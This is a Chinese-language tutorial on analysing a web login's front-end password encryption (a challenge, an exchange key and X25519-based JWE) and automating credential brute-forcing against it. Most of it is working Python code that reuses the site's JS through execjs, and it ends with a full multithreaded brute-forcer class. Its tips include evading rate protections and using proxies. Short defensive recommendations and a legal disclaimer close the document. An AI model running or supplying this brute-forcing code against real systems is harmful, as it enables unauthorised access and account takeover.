一次有趣的前端加密分析
字数 1592 2025-08-23 18:31:25
前端加密分析与密码爆破实战教学文档
1. 前言
本文档详细分析了一次前端加密登录过程,并提供了完整的密码爆破实战方法。通过本教程,您将学习到如何分析前端加密逻辑、处理加密参数以及编写自动化爆破脚本。
2. 加密流程分析
2.1 寻找加密点
- 打开开发者工具(Ctrl+Shift+I)
- 进入"网络"面板
- 随意输入账号密码提交登录请求
- 在"启动器"中点击蓝色链接定位密码登录处
2.2 关键JS代码分析
主要关注以下方法调用链:
FinishLogin → doStart() → passwordLogin() → encryptPassword()
2.2.1 doStart()方法
- 发送GET请求:
api/source/${curItem.id}/start?login_name=${this.loginData[curItem.fields[0]]} - 从响应中获取两个关键参数:
challenge: 动态值,每次请求不同exchange_key: 固定值
2.2.2 passwordLogin()方法
- 接收参数:
curItem,challenge,exchange_key - 调用
encryptPassword()进行密码加密
2.2.3 encryptPassword()方法
- 参数:
passwordKey: 即exchange_keychallenge: 动态挑战值password: 用户输入的明文密码
- 加密依赖:
jwes.js文件中的加密逻辑x25519.js中的函数
3. 加密参数获取
3.1 手动获取方式
- 访问API端点:
api/source/${curItem.id}/start?login_name=用户名 - 从响应JSON中提取:
{ "challenge": "28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w", "exchange_key": "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk" }
3.2 自动化获取
使用Python的requests模块:
import requests
url = 'http://127.0.0.1/api/source/AlbdUKmU/start?login_name=admin'
response = requests.get(url)
challenge = response.json()['data']['challenge']
exchange_key = response.json()['data']['exchange_key']
4. 环境准备
4.1 所需工具
- Node.js运行环境
- Python 3.x
- 相关模块:
- Python:
execjs,requests - Node.js:
node-forge
- Python:
4.2 环境配置步骤
- 安装Node.js
- 安装Node.js模块:
npm install node-forge - 安装Python模块:
pip install execjs requests
5. JS文件处理
5.1 文件修改要点
- 将
x25519.js内容合并到jwes.js中 - 修改内容:
- 将
import x25519 from "./x25519";替换为合并后的代码 - 移除
export语句 - 将静态方法改为普通方法
- 修改全局变量声明
- 将
5.2 关键修改示例
原cryptoRandomBytes函数(浏览器环境):
function cryptoRandomBytes(length) {
let array = new Uint8Array(length);
return crypto.getRandomValues(array)
}
修改为Node.js兼容版本:
function cryptoRandomBytes(length) {
let array = new Uint8Array(length);
return crypto.getRandomValues(array)
}
6. 密码爆破实现
6.1 Python实现方案
6.1.1 基础代码结构
import os
import execjs
import requests
import json
# 设置JS运行环境
os.environ["EXECJS_RUNTIME"] = "NodeJS"
# 加载JS加密文件
with open("jwes.js", "r", encoding='utf-8') as f:
js_encrypt = execjs.compile(f.read(), cwd=r"D:\environment\NodeJs\node_modules")
6.1.2 密码加密函数
def encrypt_password(username, password):
# 获取动态challenge
challenge_url = f'http://127.0.0.1/api/source/AlbdUKmU/start?login_name={username}'
response = requests.get(challenge_url)
challenge = response.json()['data']['challenge']
exchange_key = "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk"
# 调用JS加密函数
encrypted_pwd = js_encrypt.call(
'encryptPassword',
exchange_key,
challenge,
password
)
return encrypted_pwd
6.1.3 爆破主逻辑
def brute_force():
success_count = 0
with open('./users', 'r', encoding='utf-8') as users:
for username in users:
username = username.strip()
with open('passwd.txt', 'r', encoding='utf-8') as pwds:
for password in pwds:
password = password.strip()
encrypted_pwd = encrypt_password(username, password)
# 构造登录请求
login_url = "http://127.0.0.1/api/source/AlbdUKmU/finish"
headers = {
"User-Agent": "Mozilla/5.0 Firefox",
"Accept": "application/json, text/plain",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/json;charset=UTF-8"
}
data = {
"login_name": username,
"password": encrypted_pwd
}
response = requests.post(
login_url,
headers=headers,
data=json.dumps(data)
)
# 处理响应
if response.json()['status'] == 'error':
if response.json()['code'] == "UNKNOWN_ACCOUNT":
break
else:
success_count += 1
print(f"成功: 用户名:{username} 密码:{password}")
print(f"总共找到{success_count}组有效凭证")
6.2 优化建议
- 多线程/异步处理提高爆破速度
- 添加请求延迟避免触发防护机制
- 实现错误重试机制
- 支持代理配置
7. 常见问题解决
7.1 错误:window is not defined
- 原因:JS代码使用了浏览器特有的
window对象 - 解决方案:替换为Node.js兼容的随机数生成方法
7.2 错误:JS网络请求失败
- 原因:Node.js环境无法直接发送浏览器式请求
- 解决方案:使用Python的requests模块获取动态参数
7.3 错误:模块导入失败
- 原因:Node.js模块路径不正确
- 解决方案:确保
cwd参数指向正确的node_modules目录
8. 完整代码示例
import os
import execjs
import requests
import json
from threading import Thread
os.environ["EXECJS_RUNTIME"] = "NodeJS"
class PasswordBruteforcer:
def __init__(self):
with open("jwes.js", "r", encoding='utf-8') as f:
self.js_encrypt = execjs.compile(
f.read(),
cwd=r"D:\environment\NodeJs\node_modules"
)
self.exchange_key = "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk"
self.found_creds = []
def get_challenge(self, username):
url = f'http://127.0.0.1/api/source/AlbdUKmU/start?login_name={username}'
try:
response = requests.get(url, timeout=5)
return response.json()['data']['challenge']
except Exception as e:
print(f"获取challenge失败: {e}")
return None
def encrypt_password(self, challenge, password):
try:
return self.js_encrypt.call(
'encryptPassword',
self.exchange_key,
challenge,
password
)
except Exception as e:
print(f"加密失败: {e}")
return None
def try_login(self, username, password):
challenge = self.get_challenge(username)
if not challenge:
return False
encrypted_pwd = self.encrypt_password(challenge, password)
if not encrypted_pwd:
return False
url = "http://127.0.0.1/api/source/AlbdUKmU/finish"
headers = {
"User-Agent": "Mozilla/5.0 Firefox",
"Content-Type": "application/json;charset=UTF-8"
}
data = {
"login_name": username,
"password": encrypted_pwd
}
try:
response = requests.post(
url,
headers=headers,
data=json.dumps(data),
timeout=5
)
resp_json = response.json()
if resp_json.get('status') != 'error':
self.found_creds.append((username, password))
return True
return False
except Exception as e:
print(f"请求失败: {e}")
return False
def brute_worker(self, username, passwords):
for pwd in passwords:
if self.try_login(username, pwd):
print(f"[+] 成功: {username}:{pwd}")
break
def run_bruteforce(self, user_file, pass_file, threads=5):
with open(user_file, 'r', encoding='utf-8') as uf:
usernames = [u.strip() for u in uf if u.strip()]
with open(pass_file, 'r', encoding='utf-8') as pf:
passwords = [p.strip() for p in pf if p.strip()]
# 分割密码列表用于多线程
chunk_size = len(passwords) // threads + 1
password_chunks = [
passwords[i:i+chunk_size]
for i in range(0, len(passwords), chunk_size)
]
for user in usernames:
threads = []
for chunk in password_chunks:
t = Thread(target=self.brute_worker, args=(user, chunk))
threads.append(t)
t.start()
for t in threads:
t.join()
print("\n爆破完成,找到的凭证:")
for cred in self.found_creds:
print(f"用户名: {cred[0]} 密码: {cred[1]}")
if __name__ == "__main__":
bruteforcer = PasswordBruteforcer()
bruteforcer.run_bruteforce("users.txt", "passwords.txt")
9. 防御建议
- 增加请求频率限制:防止自动化爆破
- 使用更复杂的挑战机制:如时间戳+签名验证
- 实现验证码:在多次失败后要求验证码
- 监控异常请求:检测自动化工具特征
- 使用双因素认证:增加额外安全层
10. 法律与道德声明
本教程仅用于安全研究和授权测试目的。未经授权的系统测试是违法的。使用这些技术前请确保获得系统所有者的明确许可。